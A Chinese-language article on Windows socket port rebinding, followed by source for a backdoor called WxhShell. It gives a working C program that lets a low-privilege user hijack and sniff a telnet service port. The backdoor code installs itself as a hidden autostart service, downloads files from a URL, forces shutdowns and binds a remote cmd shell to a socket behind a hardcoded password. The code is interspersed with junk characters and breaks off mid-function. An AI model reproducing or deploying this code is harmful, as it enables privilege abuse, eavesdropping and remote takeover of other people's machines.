在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zwF7DnW<< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Pj^k
pjV ~8S4Kj)% saddr.sin_family = AF_INET;
]kU~#WT _A# x&<c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qCv}+d) 5Lo==jHif bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~}FLn9@* lUm}nsp=X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lW@:q04Z$ #==[RNM%ap 这意味着什么?意味着可以进行如下的攻击:
JJ= ~o@|c 7ipY*DT8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5wVi{P5+ _ ;v_L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[NR0] #h WoN]eO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B%?|br o
F,R@f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
l% 3Q=c G!f E'B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s`dkEaS w^vK7Z
1$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8I|1Pl *8(t y%5F0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
a-o
hS=W 2gNBPd )I #include
iz$v8;w #include
~=aI2(b #include
s;=J'x)~% #include
%E=,H?9&> DWORD WINAPI ClientThread(LPVOID lpParam);
nY.Umj int main()
pNk,jeo {
^U|CNB%. WORD wVersionRequested;
^Ypb"Wx8 DWORD ret;
_@}MGWlAPt WSADATA wsaData;
<CdG[Ih BOOL val;
RaJ}>e SOCKADDR_IN saddr;
aF_ZV bS SOCKADDR_IN scaddr;
(*@~HF,t= int err;
HEW9YC" SOCKET s;
\1c`) SOCKET sc;
zke~!"iq int caddsize;
+P<w<GfQ HANDLE mt;
JhhT7\h( DWORD tid;
)r-|T&Sn wVersionRequested = MAKEWORD( 2, 2 );
~`Gcq"7,! err = WSAStartup( wVersionRequested, &wsaData );
pR^Y|NG! if ( err != 0 ) {
M@z_Z+q9 printf("error!WSAStartup failed!\n");
fuwp p return -1;
"!4>gg3r }
T3PaG\5B saddr.sin_family = AF_INET;
/m|&nl8"qe [sh"? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
I'wk/ d}A2I saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vo^9qSX
f saddr.sin_port = htons(23);
"Ezr- 4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5d>YE {
%.Q2r ?j printf("error!socket failed!\n");
sfBjA return -1;
t.i9!'Y ] }
[n@!=T val = TRUE;
=<27qj
//SO_REUSEADDR选项就是可以实现端口重绑定的
RHA>fXp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
WSX@0A.&) {
I@3c QxI printf("error!setsockopt failed!\n");
mk3e^,[A return -1;
!n?*vN=S }
^_"q`71Dk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
K^1O =1gY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cbHn\m)J, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"5z6~dq lr= !:D=K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F7PZV+\ {
X;[zfEB ret=GetLastError();
'%r@D&*vp printf("error!bind failed!\n");
8 H"f9S=K return -1;
"/]tFY%Y }
\(v_", listen(s,2);
DWevg;_]$( while(1)
Gxt<kz {
nfPl#]ef* caddsize = sizeof(scaddr);
q@!H^hd} //接受连接请求
=;?PVAdu%# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
38.J:?Q if(sc!=INVALID_SOCKET)
c#-97"_8 {
$oBZe>s. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
as47eZ0\ if(mt==NULL)
#K~j9DuR {
X QoT},C printf("Thread Creat Failed!\n");
1VM5W!} break;
NCh(-E }
XIW:Nk!S }
7bW!u*v-c CloseHandle(mt);
R;m0eG` }
CjukD%>sde closesocket(s);
E;Ftop WSACleanup();
XjM) /-w return 0;
X;a{JjN }
r H_:7#.E DWORD WINAPI ClientThread(LPVOID lpParam)
uEO2,1+ {
8t
35j SOCKET ss = (SOCKET)lpParam;
GP
kCgb( SOCKET sc;
h[)aRo unsigned char buf[4096];
Oh85*3 SOCKADDR_IN saddr;
UA u4x 7 long num;
uF|ix.R6 DWORD val;
K@u."eaD DWORD ret;
~rfjQPbh9x //如果是隐藏端口应用的话,可以在此处加一些判断
FH5 bC6 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UE;)mZ=l| saddr.sin_family = AF_INET;
sNpBTG@{l saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
P!&CH4+ saddr.sin_port = htons(23);
.F$AmVTN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uM6!RR!~ {
uTt:/gm printf("error!socket failed!\n");
FwzA_
nn return -1;
_+Kt=;Y8 }
2 g8P$+;
val = 100;
$%"}N_M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N5_.m(: {
wLp
t2b8S ret = GetLastError();
])l[tVHm return -1;
sN) .Jo }
9<r}s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p%y\`Nlgdx {
!>);}J!e] ret = GetLastError();
5K-)X9z? return -1;
*M<=K.*\G }
]<?)(xz if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1KR|i" {
&>b1ES.> printf("error!socket connect failed!\n");
;l4\^E1 closesocket(sc);
9{#|sABGD closesocket(ss);
32FGDM return -1;
T@WMT,J6j }
D}U<7=\3H while(1)
YGmdiY:;1 {
Bj[/tQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0e](N` //如果是嗅探内容的话,可以再此处进行内容分析和记录
w1G.^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1@dx(_ num = recv(ss,buf,4096,0);
\)]2Uh| if(num>0)
nEEGO~e send(sc,buf,num,0);
RUtS_Z& else if(num==0)
:P1c>:j[ break;
9(.9l\h num = recv(sc,buf,4096,0);
`v{X@ x if(num>0)
i*/U.'# send(ss,buf,num,0);
E,:pIw
else if(num==0)
'U0I.x( break;
3pH`]m2 }
A:J{ closesocket(ss);
4N0nU closesocket(sc);
<5}du9 @ return 0 ;
e>Y2q|S85 }
?0%TE\I8 0l@+xS; lM%fgyX ==========================================================
}]?G"f
t K gQDK?aQX 下边附上一个代码,,WXhSHELL
)fL*Ws6 o+Z9h1z%, ==========================================================
e;[8GE.
,LO-!\L #include "stdafx.h"
I@M^Wu]wW mcG$V0D <{ #include <stdio.h>
lhj2u]yU0S #include <string.h>
%"^XxVJ* #include <windows.h>
OFbg]{ub? #include <winsock2.h>
6|Q'\ #include <winsvc.h>
5/ju
it #include <urlmon.h>
.)zISa*Xy 2:F #pragma comment (lib, "Ws2_32.lib")
ljON_* #pragma comment (lib, "urlmon.lib")
hyoZh Y `{_PSzM #define MAX_USER 100 // 最大客户端连接数
34:EpZO@ #define BUF_SOCK 200 // sock buffer
0M98y!A 5^ #define KEY_BUFF 255 // 输入 buffer
NyLnE loe>"_`Cq #define REBOOT 0 // 重启
y]9UFL" #define SHUTDOWN 1 // 关机
R
|% lHqx}n@e #define DEF_PORT 5000 // 监听端口
+}/!yQtH mkA|gM[g7 #define REG_LEN 16 // 注册表键长度
7# 3)&"j
#define SVC_LEN 80 // NT服务名长度
D:EF@il LL
[>Uu?Y // 从dll定义API
e6'O,\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Th^#H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i8.[d5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&Qjl|2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-P&e4sV{ i`'^ zR(`i // wxhshell配置信息
H-w|JH>g struct WSCFG {
< z)G& h@ int ws_port; // 监听端口
Uk6!Sb char ws_passstr[REG_LEN]; // 口令
)&Bv\Tfjt int ws_autoins; // 安装标记, 1=yes 0=no
j}l8k@f char ws_regname[REG_LEN]; // 注册表键名
ulM&kw.4i char ws_svcname[REG_LEN]; // 服务名
;~1JbP char ws_svcdisp[SVC_LEN]; // 服务显示名
F
k;su,]_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
CF_!{X_k} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|hoZ: int ws_downexe; // 下载执行标记, 1=yes 0=no
QovC*1' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
s\!vko'M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W
F<V2o{k KK$A4`YoR };
$ :wM'&M ![^h<Om // default Wxhshell configuration
jRAL(r| struct WSCFG wscfg={DEF_PORT,
0g-ESf``{n "xuhuanlingzhe",
"|SE#k 1,
+r_[Tj|Er "Wxhshell",
xltu
g## "Wxhshell",
FG:BRS<m~ "WxhShell Service",
$uh DBmb "Wrsky Windows CmdShell Service",
zK?[dO "Please Input Your Password: ",
eS:e#>( 1,
"cM5= ; "
http://www.wrsky.com/wxhshell.exe",
^mQfXfuL "Wxhshell.exe"
I_7EfAqg( };
It-*CD9
LP /4e` // 消息定义模块
fM.|#eLi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A!yLwkc:5 char *msg_ws_prompt="\n\r? for help\n\r#>";
s#ZH.z@J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
IOl"Xgn5 char *msg_ws_ext="\n\rExit.";
7gcG|kKT char *msg_ws_end="\n\rQuit.";
ze N!*VG char *msg_ws_boot="\n\rReboot...";
@x
+#ZD( char *msg_ws_poff="\n\rShutdown...";
/
u6$M/Cf> char *msg_ws_down="\n\rSave to ";
;bE6Y]"Rz G9Tix\SpF char *msg_ws_err="\n\rErr!";
?UDO%`X char *msg_ws_ok="\n\rOK!";
89mre;v` ~7'.{VrU char ExeFile[MAX_PATH];
[bJnl>A int nUser = 0;
G[j79o HANDLE handles[MAX_USER];
]M;! ])b$ int OsIsNt;
^/vWK\- sb.SpF>
SERVICE_STATUS serviceStatus;
krc!BK`V SERVICE_STATUS_HANDLE hServiceStatusHandle;
^#se4qQ -74T C // 函数声明
3>v0W@C int Install(void);
*DzPkaYD> int Uninstall(void);
%QLYNuG int DownloadFile(char *sURL, SOCKET wsh);
Dj(7'jT int Boot(int flag);
}j*/>m void HideProc(void);
_1Gut"!{\ int GetOsVer(void);
@8yFM% int Wxhshell(SOCKET wsl);
p5VSSvV\K void TalkWithClient(void *cs);
u_=y,~s int CmdShell(SOCKET sock);
,>v9 Y#U int StartFromService(void);
%[m1\h"1 int StartWxhshell(LPSTR lpCmdLine);
ZH_4'm!^g| :exuTn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
',Pk>f]AB- VOID WINAPI NTServiceHandler( DWORD fdwControl );
x~tQYK % 6.jh#C // 数据结构和表定义
U-<"i6mg? SERVICE_TABLE_ENTRY DispatchTable[] =
!5!$h`g {
rxeXz< {wscfg.ws_svcname, NTServiceMain},
[d>yo_iB {NULL, NULL}
~')t1Ays };
\zL7j4 (`?
snMc // 自我安装
@$K q<P int Install(void)
o{W]mr3D {
gi@ji-10 char svExeFile[MAX_PATH];
@ibPL+~-_ HKEY key;
?Zp!AV strcpy(svExeFile,ExeFile);
2!?z%s-S X.9MOdG70 // 如果是win9x系统,修改注册表设为自启动
eH/\7)z if(!OsIsNt) {
AiHf?"EVT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?u!AHSr( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bKZ#>%|:o RegCloseKey(key);
^ZWFj?`\UV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V_622~Tc/[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dU3>h[q RegCloseKey(key);
8;&S9'ci return 0;
Vp"Ug,1 }
%ab)Gs }
0(9@GIT }
<dPxy`_ else {
q*TKs#3 Ab<Ok\e5 // 如果是NT以上系统,安装为系统服务
bv>lm56 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jZ,[{Z(N
if (schSCManager!=0)
h!CX`pBM {
JM lhBh SC_HANDLE schService = CreateService
\[I . (
#(g+jb0E schSCManager,
b7sE wscfg.ws_svcname,
>1I2R/' wscfg.ws_svcdisp,
y]f^`2L!8> SERVICE_ALL_ACCESS,
lA-!~SM v" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ey\{C`(__y SERVICE_AUTO_START,
UZXcKl>u SERVICE_ERROR_NORMAL,
s
Xk?.A_D svExeFile,
)pn7DIXG NULL,
AeCG2!8^0 NULL,
B00wcYM<1r NULL,
)\\V
s>9 NULL,
h21(K} NULL
}Rxg E~F );
"`*a)'.'^c if (schService!=0)
gLMea: {
Rue|<d1 CloseServiceHandle(schService);
;s.5\YZ"k CloseServiceHandle(schSCManager);
Q1\k`J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=C>`}%XT} strcat(svExeFile,wscfg.ws_svcname);
zQ %z"tQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U3+_'" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<i\zfa'6 RegCloseKey(key);
'Mx K}9 return 0;
3]OP9!\6 }
Dke($Jr{ }
V0
+k3H CloseServiceHandle(schSCManager);
+ >gbZ-S }
>dvWa-rNUT }
Bx : So6: (X_ ,*3Yxk return 1;
oT (:33$ }
0mD;.1: Y!1^@;)^ // 自我卸载
cm 9oG int Uninstall(void)
C6V&R1" s {
0"qim0%|DF HKEY key;
!eAdm !:O/|.+Vmf if(!OsIsNt) {
={E!8" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6SBvn% RegDeleteValue(key,wscfg.ws_regname);
p@7i=hyt`p RegCloseKey(key);
;.Oh88|k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Xtu`5p_Qv RegDeleteValue(key,wscfg.ws_regname);
mn; 7o~4 RegCloseKey(key);
H"q`k5R return 0;
n &\'Hm }
}#W`<,*rL. }
>6l ;/J }
=Q8H]F else {
8Z4?X% 7l#2,d4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&QOWW} if (schSCManager!=0)
$,e?X}4 {
)y/DGSd
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PVD ~W)0m* if (schService!=0)
?%xhe {
teOBsFy/I if(DeleteService(schService)!=0) {
}L$Xb2^l CloseServiceHandle(schService);
0fPHh>u CloseServiceHandle(schSCManager);
,8=`* return 0;
yw*mA1v }
Ng'ZAG;O CloseServiceHandle(schService);
_L4<^Etfm }
]oas CloseServiceHandle(schSCManager);
42J';\)oP }
( ztim }
wsJ%*
eYf #mRFUA return 1;
,bVS.A'o }
[UJEU~XC TXJY2J*24 // 从指定url下载文件
$vTAF-~Ql int DownloadFile(char *sURL, SOCKET wsh)
$\,BpZ
}3 {
iJZ|[jEDV HRESULT hr;
JIP+ !2 char seps[]= "/";
lLkmcHu char *token;
||=[kjG~ char *file;
Wm$`ae
char myURL[MAX_PATH];
6@?aVM~ char myFILE[MAX_PATH];
5w,Z 7I8 G !1~i*P$u strcpy(myURL,sURL);
Ev+HW x~Y token=strtok(myURL,seps);
p]h*6nH>~ while(token!=NULL)
k'@7ZH {
z;y^t4
^9 file=token;
YXX36 token=strtok(NULL,seps);
J+71FP`ZH }
&SjHrOG? .|-l+ GetCurrentDirectory(MAX_PATH,myFILE);
hg?j)jl| strcat(myFILE, "\\");
XVrm3aj(m strcat(myFILE, file);
so!w !O@@ send(wsh,myFILE,strlen(myFILE),0);
1tc]rC4h send(wsh,"...",3,0);
h6\3vfj^f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RG l=7^M if(hr==S_OK)
qY$*#*Q return 0;
?E+:]j_ else
M[YTk=IM# return 1;
QE45!Zg *2,e=tY> }
^"O{o8l>2 (# 6<k // 系统电源模块
r=~WMDCz@ int Boot(int flag)
4{;8:ax&w {
([,vX"4 HANDLE hToken;
{Ax)[<i TOKEN_PRIVILEGES tkp;
^)f{q)to ;-KAUgL2 if(OsIsNt) {
Fl_dzh,E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sK`~Csb
iB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n#+%!HTh tkp.PrivilegeCount = 1;
f0uUbJ5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m]FaEQVoE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[j)\v^m if(flag==REBOOT) {
.M9d*qp`S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
}+91s'/c return 0;
>=-GD2WK }
h4CTTe) else {
=tr1*s{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
RzA2*]%a return 0;
E`Jp(gK9F }
&W=V%t>Z }
<w0NPrS] else {
-{X<*P4p if(flag==REBOOT) {
ixIV=# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0jxO |N2) return 0;
lx\qp`w }
0U82f1ei else {
cGgM8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_ PXG AS return 0;
tcBC!_vF }
.:}.b"%m }
\Fj5v$J- <y@,3DD3A9 return 1;
p91`<>Iw }
|@ikx{W
<^lJr82 // win9x进程隐藏模块
}3v'Cp0L void HideProc(void)
$ A-+E\vQ@ {
J DLTOLG `]*%:NZP@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
t)-*.qZh if ( hKernel != NULL )
(k%GY<
b P {
W8w3~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ry.;u*F ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+>JdYV<?0 FreeLibrary(hKernel);
9$Ig~W) }
0:Ar|to$m 9YP*f return;
LnP3z5d( }
B\Xh3l]+j 9YR]+* // 获取操作系统版本
yiiyqL*E int GetOsVer(void)
Ne3R.g9;Z {
Lltc4Mzw OSVERSIONINFO winfo;
i 3m3zXt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gRBSt
M&hU GetVersionEx(&winfo);
gks ==|s. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bf& }8I$ return 1;
_p\629` else
kmryu= return 0;
=EQJqj1T }
i.3cj1 #@ 9)h // 客户端句柄模块
G+0><,S int Wxhshell(SOCKET wsl)
9]"S:{KSCn {
ac9qj SOCKET wsh;
v @:~mwy struct sockaddr_in client;
kr%2 w DWORD myID;
XC=%H'p Y[2Wt%2\6 while(nUser<MAX_USER)
!RS9%ES_? {
rJ'/\Hh5P int nSize=sizeof(client);
,Du@2w3Cq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N;uUx#z if(wsh==INVALID_SOCKET) return 1;
?a
S% 4t04}vp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{9L 5Q if(handles[nUser]==0)
CdY8#+"
closesocket(wsh);
]<1HM"D else
oizT-8i@N nUser++;
!lAD
q|$ }
_2b9QP p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7KU~(?|:h 7c-Gm R2 return 0;
@5WgqB }
r!7 Y'| 3{KR
{B#L // 关闭 socket
] /+D^6 void CloseIt(SOCKET wsh)
%?bcT[|3 {
?>af'o: closesocket(wsh);
Wt^|BjbB4 nUser--;
p~K9
B-D ExitThread(0);
6R`Oh uN.> }
Ir5WN_EaS %JtbRs(~q // 客户端请求句柄
mL woi!]m void TalkWithClient(void *cs)
Z?oG*G: {
TI=h_%mO QYQtMb, SOCKET wsh=(SOCKET)cs;
in<}fAro6 char pwd[SVC_LEN];
yPV'pT) char cmd[KEY_BUFF];
P-CB;\ char chr[1];
. V$ps-t int i,j;
~]BMrgn Bn?:w\%Ue while (nUser < MAX_USER) {
YzAFC11, Po(]rQbE if(wscfg.ws_passstr) {
?vgH"W~3> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NBjeHtT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@b2`R3}9R //ZeroMemory(pwd,KEY_BUFF);
c8{]] i=0;
YD\]{,F| while(i<SVC_LEN) {
pQMtj0(y Q/ZkW // 设置超时
vfcb:x fd_set FdRead;
jij<yM8$g struct timeval TimeOut;
;
dd Q/ FD_ZERO(&FdRead);
S_v(S^x6 FD_SET(wsh,&FdRead);
`Gd$:qV TimeOut.tv_sec=8;
!g>.i` TimeOut.tv_usec=0;
]u#JuX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e'2Y1h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|%1?3Mpn fQ+\;iAU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cX:HD+wO pwd
=chr[0]; u=r`t(Z1H
if(chr[0]==0xd || chr[0]==0xa) { [I l~K
pwd=0; /\Z J
break; e8}Ezy"^
} MgJ36zM
i++; BI2; ex
} at|g%$%
6_gnEve
h
// 如果是非法用户,关闭 socket 15{Y9!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GKiukX$'
} v>A=2i*j
4 o(bxs"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YE}s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DNkWOY#{
eKN$jlg
while(1) { Bfr'Zdw
iWLa> z|,
ZeroMemory(cmd,KEY_BUFF); nmFC%p)4
npp[@*~
// 自动支持客户端 telnet标准 9bJQT'<R
j=0; (\a6H2z8l
while(j<KEY_BUFF) { EE=3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i)ASsYG!
cmd[j]=chr[0]; in-C/m#
if(chr[0]==0xa || chr[0]==0xd) { Q;u SWt<{
cmd[j]=0; U__(;
/1;
break; ZJ,cQ+fn
} x;\wY'
j++; 28andfl
} gNpJ24QK
#~L h#
// 下载文件 c+dg_*^
if(strstr(cmd,"http://")) { <#+44>h
send(wsh,msg_ws_down,strlen(msg_ws_down),0); &<pKx!
if(DownloadFile(cmd,wsh)) ($nrqAv4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vuQ%dDxI
else -e u]:4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \5)h tL1F
} :_kAl? eJ
else { lb*8G
Q@@v1G\
switch(cmd[0]) { _7T@5\b:;
H ?M/mGP
// 帮助 }/P5>F<H[
case '?': { B;K`q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
IJIzXU
break; zTbVp8\pI
} C0*@0~8$9
// 安装 hsKmnH@#
case 'i': { fV:4#j
if(Install()) D4JLtB'=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TXXy\$
else 4Kwh?8.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'R<&d}@P*#
break; 9@ 16w
}
9Z5D\yv?H
// 卸载 3q:n'PC)C
case 'r': { 3]&o*Ib1`_
if(Uninstall()) evA/+F,&
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
qFQ8
else NS)}6OI3~"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6$fYt&1
break; &k7;DO
} 4)>FS'=
// 显示 wxhshell 所在路径 KInk^`C/H
case 'p': { y! .J
char svExeFile[MAX_PATH]; CzCQFqXI
strcpy(svExeFile,"\n\r"); xVL5'y1g B
strcat(svExeFile,ExeFile); )vg5((C
send(wsh,svExeFile,strlen(svExeFile),0); Mb1t:Xf^g
break; KOz(TZ?u
} 8X|r4otn4
// 重启 vIl+#9L0
case 'b': { so$(_W3E,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S& #U!#@
if(Boot(REBOOT)) ((tv2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z7M_1%DEx
else { 7pA/
closesocket(wsh); I\~G|B
ExitThread(0); hI?sOR!
} ~ 9)"!
break; fb~=Y$|
} p[lNy{u~M
// 关机 $;M:TpX
case 'd': { <GHYt#GIZ+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [[d(jV=*
if(Boot(SHUTDOWN)) @~c6qh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]u l$*
else { x_Jwd^`t!
closesocket(wsh); R" )bDy?
ExitThread(0); uEyH2QO
} iy.2A!f^.
break; ,lA.C%4au~
} P}ok*{"J<>
// 获取shell Z[\O=1E,
case 's': { pD]0`L-HJU
CmdShell(wsh); I1oje0$
closesocket(wsh); #_Z$2L"U
ExitThread(0); / N)W2
break; @' ;B_iQ
} b^D$jY
// 退出 X|0R=n]
case 'x': { kg@>;(V&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "YdEE\
CloseIt(wsh); 8:BIbmtt5
break; ?pgG,=?
} w.,Q1\*rPp
// 离开 Le<wR
case 'q': { :1t~[-h^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3d<HN6&U
closesocket(wsh); P =3RLL<l
WSACleanup(); W^3uEm&l!)
exit(1); 322jR4QGr
break; ]EwVpvTw
} |-V&O=!^+
} 1]IQg;q
} l]~n3IK"
"S3wk=?4
// 提示信息 DvvT?K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `n$5+a+
} lWBb4 !l
} pV4Whq$
mUS_(0q
return; OHiQ7#y
} w
=.Fj
[mEql,x3
// shell模块句柄 U=hlu
int CmdShell(SOCKET sock) Y"-^%@|p
{ k}
]T;|h]
STARTUPINFO si; \J+*
ZeroMemory(&si,sizeof(si)); 8NaqZ+5x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,`ZYvF^%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +)2s-A f-
PROCESS_INFORMATION ProcessInfo; |t; ~:A
char cmdline[]="cmd"; G8Nt
8U~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nqwAQhzy(
return 0; 6s0_#wZC
} c@v{`d
cZ)}LX
// 自身启动模式 DW)2 m;
int StartFromService(void) ~T) Q$
{ u,}{I}x_
typedef struct ~ek$C
{ 4C}bJzZ
DWORD ExitStatus; +}f9
DWORD PebBaseAddress; A^q[N
DWORD AffinityMask; j"AU z)x
